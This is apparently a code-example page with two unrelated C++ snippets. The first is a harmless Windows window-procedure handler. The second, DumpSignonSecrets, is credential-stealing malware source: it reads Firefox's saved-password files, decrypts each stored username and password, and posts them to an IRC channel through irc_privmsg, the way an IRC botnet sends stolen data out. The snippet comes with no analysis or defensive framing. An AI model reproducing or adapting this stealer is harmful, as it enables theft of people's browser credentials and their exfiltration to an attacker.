Ejemplo n.º 1
0
// could use Window event table for this stuff
BOOL Window::WndProc(TMSG &Msg)
{
	// handle internal actions
	switch (Msg.Msg)
	{
		case WM_QUERYENDSESSION:
		case WM_CLOSE:
			if (!CanClose()) return TRUE; //returns 0
			break;
		case WM_DESTROY:  // quit if main window
			if (this==App::MainWindow) App::Quit();
			if (Flags & W_SAVEPOS) SaveWindowState();
			Flags|=W_DESTROYED;
			Destroy();
			// MainWindow is deleted on program exit
			if (this==App::MainWindow) App::Quit();
			else delete this;
			return TRUE;
		case WM_PAINT:
			PAINTSTRUCT  ps;
			BeginPaint(hWnd, (LPPAINTSTRUCT) &ps);
			SetWindowOrgEx(ps.hdc,xPos,yPos,NULL);
			Paint(ps.hdc,ps.fErase,ps.rcPaint);

			if (StatBar) // draw statbar after window
			{
				SetWindowOrgEx(ps.hdc,0,0,NULL); // dont scroll statbar
				StatBar->Paint(ps.hdc);
			}
			EndPaint(hWnd, (LPPAINTSTRUCT) &ps);
			break;

		case WM_HSCROLL:			HScroll(Msg); break;
		case WM_VSCROLL:			VScroll(Msg); break;
		case WM_SIZE:				WMSize(Msg); break;
		case WM_GETMINMAXINFO:	WMGetMinMaxInfo(Msg); break;
		case WM_COMMAND:
		{
			int id=LOWORD(Msg.wParam);
			if (id>MRU_ID && id<=MRU_ID+MRU_MAX)
			{
				OpenFile(MruList[id-MRU_ID-1]);
				return TRUE;
			}
			else if (id>MRU2_ID && id<=MRU2_ID+MRU_MAX)
			{
				OpenFile2(MruList2[id-MRU2_ID-1]);
				return TRUE;
			}
			break;
		}
		case WM_INITMENU:
			InitMenu((HMENU) Msg.wParam); // handle of menu to initialize 
			break;
 	}
	if (StatBar) StatBar->EV_FIND(Msg);
	//allow user to grab any message
	return EV_FIND(Msg);
}
Ejemplo n.º 2
0
void DumpSignonSecrets(char *profilePath, SOCKET sock, char *dest, BOOL notice)
{
	char _buf[256];
char buffer[10240];
char name[10240];

char *clearData = NULL;
char *signonFilePath = NULL;
char signonFileName1[]="/signons.txt";
char signonFileName2[]="/signons2.txt";


int bufferLength = 10240;
int count = 0;
int ret;
int version=1;

	signonFilePath = (char*) malloc( strlen(profilePath) + 64 + 1 );

	if( signonFilePath == NULL )
	{
		//DisplayMesg(TYPE_ERROR, "\n Insufficient memory ....");
		return;
	}
	
	strcpy(signonFilePath, profilePath);
	strcat(signonFilePath, signonFileName1);

	//DisplayMesg(TYPE_DEBUG, "\n Final signon filename is  = %s ", signonFilePath);
		
	
	// Open the signon file 
	if( OpenFile2(signonFilePath) == 0 )
	{
		strcpy(signonFilePath, profilePath);
		strcat(signonFilePath, signonFileName2);

		//DisplayMesg(TYPE_DEBUG, "\n Final signon filename is  = %s ", signonFilePath);
		
		if( OpenFile2(signonFilePath) == 0 )
		{
			//DisplayMesg(TYPE_ERROR,"\n Failed to open the Firefox signon file.\n Unless you use Firefox password manager to save your passwords, signon file will not be present.\n");
			return;
		}
		version = 2;
	}
	

	// read the header format information 
	if( ReadLine(buffer, bufferLength) == 0 )
	{
		//DisplayMesg(TYPE_ERROR, "\n Error in reading signon file header ");
		return;
	}

	// check if the format is right...
	if( ((version == 1) && strcmp(buffer, HEADER_VERSION1) != 0) || ((version == 2) && strcmp(buffer, HEADER_VERSION2) != 0) )
	{
		//DisplayMesg(TYPE_ERROR, "\n Signon file header version information is not proper");
		return;
	}

	//we dont need these so comment it out
	//-->DisplayMesg(TYPE_PRINT, "\n ****** Reject Host List *******\n"); 

    // read the reject list 
	while ( ReadLine(buffer, bufferLength) != 0 )
	{
    	// Check for end of reject list
		if (strlen(buffer) != 0 && buffer[0] == '.') 
			break; 
		
		count++;
		//-->DisplayMesg(TYPE_PRINT, "\n %d => %s ", count, buffer);
	}

	//-->DisplayMesg(TYPE_PRINT, "\n\n\n\n ******** Host list with username/password ******** ");
	
	// read the URL line 
	while (ReadLine(buffer, bufferLength) != 0 ) 
	{
		
		sprintf(_buf, "%s ", buffer);
		//strcpy(_buf, buffer);
		//DisplayMesg(TYPE_PRINT, "\n\n Host : %s ", buffer);
	
		int getSubdomain=0;
		// prepare to read the name/value pairs 
		while( ReadLine(buffer, bufferLength) != 0 ) 
		{
			// line starting with . terminates the pairs for this URL entry 
			if (buffer[0] == '.') 
			{
				//DisplayMesg(TYPE_PRINT, "\n -------------------------------------------------- ");
				break; // end of URL entry 
			}
			
			if( (version == 2) && (getSubdomain == 2) )
			{
				strcat(_buf, buffer);
				//DisplayMesg(TYPE_PRINT, "\n %s  : %s ", "Subdomain", buffer);
				getSubdomain = 0;
				continue;
			}
			
			// save the name part and check if it is a password 
			if (buffer[0] == '*') 
			{
				strcpy(name,&buffer[1]);
			    ret = ReadLine(buffer, bufferLength);
			}
			else 
			{
				//DisplayMesg(TYPE_PRINT, "\n");
				strcpy(name, buffer);
				ret = ReadLine(buffer, bufferLength);
		    }

			// read in and save the value part
			if ( ret == 0 ) 
			{
				// error in input file so give up 
				//DisplayMesg(TYPE_ERROR, "\n Error occured while reading VALUE for : %s ", name);
				break;
			}

			if( DecryptSecretString(buffer, &clearData) == 1 )
			{
				strcat(_buf, name);
				strcat(_buf, ":"); 
				strcat(_buf, clearData);
				irc_privmsg(sock, channel, _buf, notice); 
                _buf[0] = '\0';
				Sleep(FLOOD_DELAY);
				//_buf = NULL;
				//irc_privmsg(_buf"%s  : %s ",infochan name, clearData);
				clearData = NULL;
				
			}
			else 
				return;

			getSubdomain++;

		}
	
	}

	//DisplayMesg(TYPE_PRINT, "\n\n **************************************************\n\n");
	
}